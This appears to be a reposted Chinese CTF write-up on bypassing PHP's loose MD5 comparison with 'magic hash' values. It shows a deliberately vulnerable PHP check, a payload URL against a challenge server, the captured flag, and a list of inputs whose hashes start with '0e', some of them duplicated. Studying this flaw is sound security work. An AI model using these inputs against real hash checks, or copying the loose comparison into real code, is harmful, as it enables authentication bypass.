代码审计-md5加密相等绕过
Posted gaonuoqi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计-md5加密相等绕过相关的知识,希望对你有一定的参考价值。
<?php $md51 = md5(‘QNKCDZO‘); $a = @$_GET[‘a‘]; $md52 = @md5($a); if(isset($a)) if ($a != ‘QNKCDZO‘ && $md51 == $md52) echo "flag*"; else echo "false!!!"; elseecho "please input a"; ?>
要是md51等于md52
PHP在处理哈希字符串时,会利用”!
=
”或”
=
=
”来对哈希值进行比较,它把每一个以
“0E”
开
头的哈希值都解释为0
,
如果两个不同的值经过哈希以后
,都是0E开头,那么PHP将会认为他们相同
payload
http://123.206.87.240:9009/13.php?a=s878926199a
flagbugku-dmsj-am9ls
部分md5函数0e开头的值
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
以上是关于代码审计-md5加密相等绕过的主要内容,如果未能解决你的问题,请参考以下文章